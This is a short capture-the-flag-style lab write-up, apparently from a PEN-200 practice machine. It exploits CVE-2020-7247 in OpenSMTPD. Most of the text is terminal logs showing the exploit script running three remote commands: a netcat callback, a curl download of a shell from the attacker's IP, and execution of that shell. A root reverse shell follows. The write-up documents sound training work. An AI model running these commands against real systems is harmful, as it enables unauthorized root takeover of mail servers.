Bratarina_Exploitation

CVE-2020-7247

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The target SMTP server runs an outdated instance of OpenSMTPD, which is vulnerable to CVE-2020-7247

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/bratarina]
└─$ python3 CVE-2020-7247.py $IP 25 'nc 192.168.45.192 445'     
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

Testing the outbound connection

Got the connection back. The OpenSMTPD instance is running with privileges of the root account

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/bratarina]
└─$ python3 CVE-2020-7247.py $IP 25 'curl 192.168.45.192/shell -o /tmp/shell'       
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

http:// appears to be truncated so I had to omit it

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/bratarina]
└─$ python3 CVE-2020-7247.py $IP 25 'chmod 755 /tmp/shell; /tmp/shell'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

Invoking the reverse shell

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/bratarina]
└─$ nnc 445
listening on [any] 445 ...
connect to [192.168.45.192] from (UNKNOWN) [192.168.132.71] 39134
whoami
root
hostname
bratarina
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:25:71 brd ff:ff:ff:ff:ff:ff
    inet 192.168.132.71/24 brd 192.168.132.255 scope global ens160
       valid_lft forever preferred_lft forever

Initial Foothold established to the target system as the root account via exploiting CVE-2020-7247 System level compromise